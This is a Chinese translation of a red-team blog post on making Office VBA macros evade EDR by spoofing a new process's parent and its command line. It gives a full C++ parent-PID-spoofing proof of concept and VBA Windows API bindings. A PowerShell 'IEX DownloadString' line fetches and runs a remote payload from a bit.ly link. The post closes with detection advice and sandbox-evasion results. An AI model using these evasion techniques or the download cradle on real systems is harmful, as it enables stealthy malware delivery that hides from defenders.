导语:大多数现代EDR解决方案都使用行为检测的方式,允许根据其行为来检测恶意软件,而不是仅仅使用IoC(例如:文件哈希值、域名)。在这篇文章中,我给出了欺骗新进程的父进程和命令行参数这两种技术的VBA实现方法。
一、背景
大多数现代EDR解决方案都使用行为检测的方式,允许根据其行为来检测恶意软件,而不是仅仅使用IoC(例如:文件哈希值、域名)。在这篇文章中,我给出了欺骗新进程的父进程和命令行参数这两种技术的VBA实现方法。此类实现允许制作更加隐蔽的Office宏,并使宏生成的进程看起来像是由另一个程序(例如explorer.exe)创建的,并具有看上去良性的命令行参数。
需要说明的是,我并非提出这些技术的作者,这些技术是由Will Burgess、Didier Stevens和Casey Smith提出的。
首先,我们将讲解在Visual Basic中实现的技术背景。我第一次听到这些内容,是在Wild West Hackin’ Fest 2018中听到了Will Burgess的演讲之后。
1.1 父进程欺骗
当进程派生出子进程时,例如Sysmon之类的EDR解决方案会记录该操作,同时会记录各种信息,例如:新创建的进程名称、哈希值、可执行路径以及有关父进程的信息。这对于构件行为规则非常有帮助,比如,“Microsoft Word永远不会派生出powershell.exe”。根据我的经验,这些规则具有较低的复杂性、较高的附加值,仅在极少情况下会发生误报。
事实证明,在使用Windows本地API创建进程时,可以指定任何进程作为其父进程。这并不是一个新鲜事,因此我不会在本文中更加详细地描述。实际上,Didier Stevens早在10年前就写过关于这一方面的文章。下面是一个C++代码的示例供大家参考,将使用任意进程作为父进程,派生出cmd.exe。
// 本代码基于https://gist.github.com/xpn/a057a26ec81e736518ee50848b9c2cd6 #include "pch.h" #include <iostream> #include <Windows.h> #include <winternl.h> #include <psapi.h> int main(int argc, char **canttrustthis) { PROCESS_INFORMATION pi = { 0 }; STARTUPINFOEXA si = { 0 }; SIZE_T sizeToAllocate; int parentPid = 9524; // Could be found dynamically as well // Get a handle on the parent process to use HANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, false, parentPid); if (processHandle == NULL) { fprintf(stderr, "OpenProcess failed"); return 1; } // Initialize the process start attributes InitializeProcThreadAttributeList(NULL, 1, 0, &sizeToAllocate); // Allocate the size needed for the attribute list si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, sizeToAllocate); InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &sizeToAllocate); // Set the PROC_THREAD_ATTRIBUTE_PARENT_PROCESS option to specify the parent process to use if (!UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &processHandle, sizeof(HANDLE), NULL, NULL)) { fprintf(stderr, "UpdateProcThreadAttribute failed"); return 1; } si.StartupInfo.cb = sizeof(STARTUPINFOEXA); printf("Creating process...\n"); BOOL success = CreateProcessA( NULL, // App name "C:\\Windows\\system32\\calc.exe", // Command line NULL, // Process attributes NULL, // Thread attributes true, // Inherits handles? EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, // Creation flags NULL, // Env "C:\\Windows\\system32", // Current dir (LPSTARTUPINFOA) &si, &pi ); if (!success) { printf("Error %d\n", GetLastError()); } return 0; }
1.2 进程命令行欺骗
这是一种新型技术,根据Will Burgess在演讲中所说,首次提出该技术的是Casey Smith。Adam Chester随后在他的博客上写了一个C++的概念验证代码。我推荐各位读者阅读他的文章,并了解实施的细节。接下来,我们来迅速看看这种技术的原理。
创建进程时,内部Windows数据结构Process Environment Block将会映射到进程虚拟内存中。该数据结构包含有关进程本身的大量信息,例如已加载模块的列表,以及用于启动进程的命令行。由于PEB(以及命令行)存储在进程的内存空间而不是内核空间中,因此只要我们对进程具有适当的权限,就很容易实现对其的覆盖。
更具体来说,该技术的工作原理如下:
1. 在挂起状态下创建进程;
2. 使用NTQueryInformatioProcess检索PEB地址;
3. 使用WriteProcessMemory覆盖存储在PEB中的命令行;
4. 恢复进程。
这将导致Windows记录的只是步骤(1)中提供的命令行,但在步骤(3)中,进程代码会覆盖原始命令行。Adam Chester编写的完整概念验证代码,可以在GitHub上找到。
二、VBA实施
2.1 目标
这两个概念证明非常棒,但是如果我们可以在Office宏中实现相同的功能,就将会形成一个经典的攻击向量。事实证明,我们可以使用P/Invoke直接从VBA代码中调用低级别Windows API。例如,如果我们将函数OpenProcess定义为:
HANDLE OpenProcess( DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId );
可能需要以下VBA代码段:
Private Declare PtrSafe Function OpenProcess Lib "kernel32.dll" ( _ ByVal dwDesiredAccess As Long, _ ByVal bInheritHandle As Integer, _ ByVal dwProcessId As Long _ ) As Long
可以轻松实现调用:
Const PROCESS_ALL_ACCESS = &H1F0FFF Dim handle As LongPtr Dim PID As Integer PID = 4444 handle = OpenProcess(PROCESS_ALL_ACCESS, False, PID)
这意味着,如果我们在VBA代码中定义所有必须的绑定和数据结构,我们应该就能够实现上述的两种技术,从而使用欺骗的父进程和命令行来生成新进程。
我们的计划如下:
1. 检索一眼看上去就是合法进程(例如explorer.exe)的PID;
2. 创建一个新进程(例如:powershell.exe),将此进程作为父进程,使用看上去合法的命令行,并使其处于挂起状态;
3. 覆盖PEB中的进程命令行;
4. 恢复进程。
举个例子,我们可以使用如下的原始命令行:
powershell.exe -NoExit -c Get-Service -DisplayName '*network*' | Where-Object { $_.Status -eq 'Running' } | Sort-Object DisplayName
这只是一个PowerShell命令,用于列出名称中包含network的正在运行的服务。然后,我们可以使用命令行对其进行覆盖,该命令行将从网络下载PowerShell Payload并执行:
powershell.exe -noexit -ep bypass -c IEX((New-Object System.Net.WebClient).DownloadString('http://bit.ly/2TxpA4h'))
2.2 结果
经过整整一周的尝试,我的大脑中全都是Visual Basic(我之前从未使用过)、P/Invoke、调试可读的VBA错误,我不断修改VBA代码,最终终于成功。源代码位于:https://github.com/christophetd/spoofing-office-macro
下面是执行宏时,Sysmon记录的内容:
而实际的父进程是WINWORD.exe,并且正在执行的实际命令行是powershell.exe -noexit -ep bypass -c IEX((New-Object
System.Net.WebClient).DownloadString(‘http://bit.ly/2TxpA4h’))。
使用Process Monitor这样的工具,也同样无法检测出这个技巧:
三、实际使用
目前,已经记录了一些攻击者利用具有类似欺骗技术的恶意文档。我通过Google搜索,找到以下内容:
http://www.pwncode.club/2018/08/macro-used-to-spoof-parent-process.html
https://twitter.com/tifkin_/status/900629117846028288
如果各位读者有其他样本,我希望能对其进行分析,请随时与我联系。
四、检测
Countercept发表了一篇描述如何检测父PID欺骗的文章。
从日志记录的角度来看,这些技术的实现使我们意识到,不能盲目地信任进程创建事件。但是,我们还有其他选择。首先,我们可以启用PowerShell模块日志记录,来获取正在调用的PowerShell模块的运行时日志。在这里,下面的日志条目将清晰地表明恶意活动。
此外,Sysmon(其他EDR解决方案可能也是如此)仍然将记录powershell.exe正在建立网络连接的事实,并且该过程是在派生出进程(calc.exe)后不久。这也可以被视为触发警报的一种可疑行为。
最后,我们可以考虑如何在攻击链中更早地识别出这样的威胁,可以通过IDS捕获、被执行沙箱的邮件网关捕获到。此外,如果宏被禁用,那么这种威胁在终端上就会变得无效。
五、反病毒检测
在撰写本文时,如果不经过混淆,我们的代码在VirusTotal上的检测率非常高,为21/61。但是,Any.run执行的纯动态分析就不会检测恶意活动,会将文件标记为“可疑”。在这里,父进程和命令行欺骗成功骗过了沙箱。
Any.run给出的可疑结果:
显示Powershell.exe没有父进程:
Any.run没有显示出PowerShell运行的实际命令行:
然而,像Joe Sandbox这样更高级的产品将会检测文件中的其他可疑元素,并将该文件分类为恶意内容。例如,它检测到powershell.exe进程是在挂起状态下生成的,这本身就很可疑。
六、总结
尽管流程创建日志对于蓝方来说具有巨大的价值,但我们应该小心,不要盲目的相信它们。如果防护方拥有来源广泛的可用日志:Windows、EDR、防火墙、代理、IDS、邮件网关,那么很可能会发现恶意威胁的存在。作为红方成员或渗透测试人员,利用这些技术可以方便地绕过仅依赖于进程创建日志的EDR解决方案。
非常感谢大家的阅读,我很乐意继续在Twitter上进行讨论(@christophetd)。如果大家有任何评论、疑问或者发现了任何错误,请随时与我联系。